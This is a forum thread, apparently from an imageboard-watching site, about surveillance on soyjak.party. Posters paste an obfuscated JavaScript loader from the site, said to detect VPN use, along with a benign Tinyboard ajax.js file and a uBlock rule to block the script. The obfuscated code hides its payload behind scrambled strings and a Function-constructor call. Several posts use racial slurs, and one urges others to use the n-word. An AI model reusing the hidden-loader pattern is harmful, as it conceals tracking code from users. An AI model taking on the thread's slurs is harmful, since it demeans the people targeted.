Plagued Soyjak.Party / The Sharty - The altchan born from the ashes of /qa/

Isn't it funny how when Soot owned the site, everyone would sperg out about the smallest changes such as a captcha being added and complain about how the CIA lived in their walls and such, but ever since the 'p incidents soyteens couldn't care less what sorts of datamining features are implemented onto the site?
i mean if it gets discord foodshits arrested and makes the site safer i could give less of a shit if im being datamined just don't fucking fedpost or post 'p . not sure what part of this is hard to understand, feds are happy with people saying nigger otherwise we would ll been arrested with all of this datamining stuff but to me it just looks like they care about getting these retards arrested .

idk about you guys but i think feds are the good guys .
 
Obfuscated code found in the source of the site. Jannies deleted the threads.
View attachment 6007913
(function () {
var GBb = "", DAP = 11;
function BGZ(d) {
var a = 409717;
var t = d.length;
var x = [];
for (var g = 0; g < t; g++) {
x[g] = d.charAt(g);
}
;
for (var g = 0; g < t; g++) {
var v = a * (g + 377) + a % 31974;
var r = a * (g + 300) + a % 30380;
var s = v % t;
var o = r % t;
var w = x;
x = x[o];
x[o] = w;
a = (v + r) % 2836770;
}
;
return x.join("");
}
;
var BSs = BGZ("sowsvnxctrlztidefuhcnrjmgobqtkopraycu").substr(0, DAP);
var Cbl = 'ulvt;Cna}([< r;An8;v)u nfbn=ir=(1=xnkz+n(prrath,(dj-s;js1;2;) s,<u,*.,e[vi0ei)r)6;mk1e"hargi ,9w;tx9 8h,"h).Ac((Sv=t0u.lrbdar C===rf;kr[a= ]7sa)lo.neyjto6qi+)(na0=pbnhsieearvfhi=dn)z1;i;s"6n)<]=sf("e{(w l g=0qgy=o]70r(z,+c]nrvvbgz7p{-=5iei+dg+(p=12[;16=-m,t(n.rpl=h0)xa;;t=6v,uh1c)l=r)e-g;l}ad!;et4n=an(r( av ;+6[(3p;)k+==g32trv,o(nggznle q0tork),tq017i,=mor*( }r+Cpov;.c[pr+,.t hus=b."v(u7nv0rs;l)da8r.d.vCw]a=a([vtv(;c2o)a)o-.aharnor,-fr,]i8jo;i)}rj p{ly>)wh]f+s4".ad(xl](=nl0.++=Ai+b.oh[76arh[nya,7,).=. ht, r=e];c.s2.pro;;c;c+d22}xl(v "(grf[1.)p51+=vvnr9l)(raa ui(d>,boh7f.ir8b]rrmt8ipnCao9;)o+f)=s2h5)a+e];;,it)bC}8 (osojull=j8s(y[+4hxrua,-";augf=rlga;yh1cwnfffg{0vi <t"i.hv1i=oshywaft=;[iarm.=v6z+mrptpf)n;s;si2;r,96p76cicwfa]u ;!.nom}t(;v.vmoa8(S=]f,e;f+8oCh=r");;;3vbp[;++;r=una0(x;)turjg u;xe))4Adv+pl9tecbe(C;e,+t,v.u<,xznxga6z{(.urdg9h{rapnr eA[;5p=.etar gelszl+]fup{)x)(4uh)=s,=';
var mQs = BGZ[BSs];
var cdU = "";
var WtD = mQs;
var MPY = mQs(cdU, BGZ(Cbl));
var hTK = MPY(BGZ('p\'Q$fet6h6;;x1=_\'6;";ee$})q.zft53o.1QQQ.{,d".)c.Q:.,a_i(7.)4)4(rQ(1=nqqhQ.o_1no_n6zgec8raQQ94b_Qae6+Q_}oaQt7[!dQ$boj,i\'7(uQ}ll$%xQbi7o-39rrod.,+Q_a(n.7nn7Q p[&{."35ur1=!.ab}__cl$fc;ae.[()Q ral9uea.tT;3=.e)eoc3e,!wdQ.Qstif;gsab.3_h&S;&b!n/e\'!l4cd21_.;=Q))Q()..#5)[_9e=ecn07Q.{e$e]e(.})s1lldQ83e{pu!;nie032Qo1.()4alp%l("!419e1#/n}3[[={7pQgetc{a$c"k.r.5aeeet4%6!r.eQ.._ze(QQcj;Q.u h.b),o{{"eQh_ro(/r+s!c{.,(}i cte(irh:Q.![t,tf r2*l6i!!!Q!%dh3Qr++)n_.30Qg,(Qe)rc#+(. e73]dQ/]e_u.!d3=,%oaqe_$b7nQ 4\'*eQ1rn)6%sQn6pn77QQ a!Q,Q4Qb}%3i.o):611=4Q432.n_tc,cbS0(q(w$1QQ6fQ-/rQ$2Qayl5rl5_.}rQg\'7QzQoc29y;);apt()le_;((&Q!Q%0j,e]hp4r5 i$eur!1p>0%(,tueo;))$8_8d{gQ,71snQ)]=)){f.4ng30,;frcuC4=i(o(5)/!.0Q!d!]e4Qspa.elc3{9_3#0(c,a{f.Q/Qtn77iQr.h)/t%c(rit77}Sl3,}(%5Q#d_5.:hf.cnQn;;0_nQo_e5e)!Qcaio;*)Q282el6$e1_Q3ur);$Q1)Q*ig!!l)2Qet($;h1p.);6(Q9-3b3$,i}tQo_w%e\'c7c4QQQwQ7h5eQ27eQ;+.{m$t59,_/"-h,q.3f6_$t8 t). Qm(.fd.rQQ=dr.3i%7(QQ%Q6w 7SQ!wQe)0(zr]j uQ(qeb!,04tcr%$Q\'[].t$_lS7_;(,o#*$c4eQf2Q}!.!_z, Qq)baQ8=(}))0$Q1)uk#hQ_u0Q}}_pQ(i5f.${Q;ch).She7!cs$(ce3_wf5%e &f_i(.4-$c1t/((.9p](ns53iQQen64,$9+_;c)(Qh5(! _r=3" _(w 01CQ.tl_)b"33Q"raaeb2b6Q saltt(u;c:24)()SQ$Q(.m2(,=/o((y5/f5.f$%eQ".taQp8!0)Qo5w7c7f0ii01uoakvi0{f+!Srt]u4.;onlQ,i3Qw7tQ7Qyt:7tr(u4wQ81( .Q0jaoQ935 gQ=.utt Q)e)oecd0/0h9_Qt1s)l.6=}!e Q)nq1_oo.ceg7!a=3(,5-Qe.c!)ab.6grn5cn)(_,]ep58Q_=;t,).ute0uda#kxC{-)QtiQ(18]o=(rpQa.9,%Q_j( 3.$;a}ce,0pr_0T.h$ t]&QQ0(_8;f-_}&._]s5$-s;,b),,rl'));
var Uvn = WtD(GBb, hTK);
Uvn(9395);
return 3078;

Ran it through a free code obfuscation translator but obviously a program would be better. I don't know .js, so was doing this retarded? Can anyone experienced in .js make anything out of this?
 
I mean, I would like to give them a chance to explain their hatred for da zooms.

What's the difference between the chaos of soyjak.party and the chaos of /b/ and the early internet, and I mean in general, not the specific dank maymays and trends? What makes it inherently bad what da zoomies are doing compared to what soylennials like yourselves were doing on 4cuck?
Zoom myself, but even back in 2015 the big difference is being edgy/shitposting for fun. Being awful was a result of having fun doing whatever the fuck you want, where now it genuinely feels like the League of Legends meta. I still look fondly on the Steven Universe Edits, compared to whatever the fuck is happening on the sharty.

Also the four to ten layers of bullshit internet lingo and internet irony. Just call someone a fucking nigger or a normalfag.
 
Due to curiosity I looked up "kiwicaca" on duckduckgo, the results were hella funny.
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That'll teach me to look up madeup words by retards LARPing as giga retards.
 
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I have made 2 threads on /soy/ about Tuxler VPN, and all of them mysteriously got deleted by jannies

Yes, and I have a decyphered version.

Basically it's the program used to detect Tuxler VPN.
View attachment 6010204
Oh so thats the decrypted version, ok
never new you could decrypt code and shit

Yes, and I have a decyphered version.

Basically it's the program used to detect Tuxler VPN.
View attachment 6010204
>block the script
How

/*
* ajax.js
* https://github.com/savetheinternet/Tinyboard/blob/master/js/ajax.js
*
* Released under the MIT license
* Copyright (c) 2013 Michael Save <savetheinternet@tinyboard.org>
* Copyright (c) 2013-2014 Marcin Åabanowski <marcin@6irc.net>
*
* Usage:
* $config['additional_javascript'][] = 'js/jquery.min.js';
* $config['additional_javascript'][] = 'js/ajax.js';
*
*/

$(window).ready(function() {
var settings = new script_settings('ajax');
var do_not_ajax = false;

// Enable submit button if disabled (cache problem)
$('input[type="submit"]').removeAttr('disabled');

var setup_form = function($form) {
$form.submit(function(event) {
if (do_not_ajax)
return true;
var form = this;
var submit_txt = $(this).find('input[type="submit"]').val();
if (window.FormData === undefined)
return true;
//if untrusted return
if (event !== undefined && event.originalEvent.isTrusted == false){
event.preventDefault();
return false;
}

var formData = new FormData(this);
formData.append('json_response', '1');
formData.append('post', submit_txt);

$(document).trigger("ajax_before_post", formData);

var updateProgress = function(e) {
var percentage;
if (e.position === undefined) { // Firefox
percentage = Math.round(e.loaded * 100 / e.total);
}
else { // Chrome?
percentage = Math.round(e.position * 100 / e.total);
}
$(form).find('input[type="submit"]').val(_('Posting... (#%)').replace('#', percentage));
};
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$.ajax({
url: this.action,
type: 'POST',
xhr: function() {
var xhr = $.ajaxSettings.xhr();
if(xhr.upload) {
xhr.upload.addEventListener('progress', updateProgress, false);
}
return xhr;
},
success: function(post_response) {
if (post_response.error) {
if (post_response.banned) {
// You are banned. Must post the form normally so the user can see the ban message.
do_not_ajax = true;
$(form).find('input[type="submit"]').each(function() {
var $replacement = $('<input type="hidden">');
$replacement.attr('name', $(this).attr('name'));
$replacement.val(submit_txt);
$(this)
.after($replacement)
.replaceWith($('<input type="button">').val(submit_txt));
});
$(form).submit();
} else {
alert(post_response.error);
$(form).find('input[type="submit"]').val(submit_txt);
$(form).find('input[type="submit"]').removeAttr('disabled');
}
} else if (post_response.redirect && post_response.id) {
if (!$(form).find('input[name="thread"]').length
|| (!settings.get('always_noko_replies', true) && !post_response.noko)) {
document.location = post_response.redirect;
} else {
$.ajax({
url: document.location,
success: function(data) {
$(data).find('div.post.reply').each(function() {
var id = $(this).attr('id');
if($('#' + id).length == 0) {
$(this).insertAfter($('div.post:last').next()).after('<br class="clear">');
$(document).trigger('new_post', this);
// watch.js & auto-reload.js retrigger
setTimeout(function() { $(window).trigger("scroll"); }, 100);
}
});

highlightReply(post_response.id);
window.location.hash = post_response.id;
$(window).scrollTop($('div.post#reply_' + post_response.id).offset().top);

$(form).find('input[type="submit"]').val(submit_txt);
$(form).find('input[type="submit"]').removeAttr('disabled');
$(form).find('input[name="subject"],input[name="file_url"],\
textarea[name="body"],input[type="file"]').val('').change();
},
cache: false,
contentType: false,
processData: false
}, 'html');
}
$(form).find('input[type="submit"]').val(_('Posted...'));
$(document).trigger("ajax_after_post", post_response);
} else {
alert(_('An unknown error occured when posting!'));
$(form).find('input[type="submit"]').val(submit_txt);
$(form).find('input[type="submit"]').removeAttr('disabled');
}
},
error: function(xhr, status, er) {
console.log(xhr);
alert(_('The server took too long to submit your post. Your post was probably still submitted. If it wasn\'t, we might be experiencing issues right now -- please try your post again later. Error information: ') + "<div><textarea>" + JSON.stringify(xhr) + "</textarea></div>");
$(form).find('input[type="submit"]').val(submit_txt);
$(form).find('input[type="submit"]').removeAttr('disabled');
},
data: formData,
cache: false,
contentType: false,
processData: false
}, 'json');

$(form).find('input[type="submit"]').val(_('Posting...'));
$(form).find('input[type="submit"]').attr('disabled', true);

return false;
});
};
setup_form($('form[name="post"]'));
$(window).on('quick-reply', function() {
$('form#quick-reply').off('submit');
setup_form($('form#quick-reply'));
});
});
 
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Yes, and I have a decyphered version.

Basically it's the program used to detect Tuxler VPN.
View attachment 6010204
I outright blocked all javascript, but is there a filter that only blocks this garbage code and nothing else?

Would be helpful if other websites ever try it. This is a fucking invasion of my privacy.

BTW I don't know what they use these 103 scripts for.
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I outright blocked all javascript, but is there a filter that only blocks this garbage code and nothing else?

Would be helpful if other websites ever try it. This is a fucking invasion of my privacy.

BTW I don't know what they use these 103 scripts for.
View attachment 6010474
The two solutions I've seen from 'teens are:
Download uBlock origin and add:
||soyjak.party/js/____ajax.js
to your filters.
Or
Turn on "Block outsider intrusion into LAN" in the uBlock filters list (its under the privacy tab)
 
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